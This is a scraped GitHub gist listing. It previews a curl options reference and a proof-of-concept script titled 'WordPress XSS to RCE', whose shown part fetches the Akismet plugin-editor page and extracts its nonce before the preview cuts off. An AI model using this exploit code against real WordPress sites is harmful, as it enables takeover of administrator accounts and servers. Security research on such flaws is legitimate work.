Skip to content

Instantly share code, notes, and snippets.

View ardhptr21's full-sized avatar
👾
not sure

Ardhi Putra ardhptr21

👾
not sure
View GitHub Profile
@LukaSikic
LukaSikic / poc.js
Created May 19, 2019 21:32
WordPress XSS to RCE
u = "/wp-admin/plugin-editor.php"
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);
x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {
n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
@subfuzion
subfuzion / curl.md
Last active August 18, 2025 23:06
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.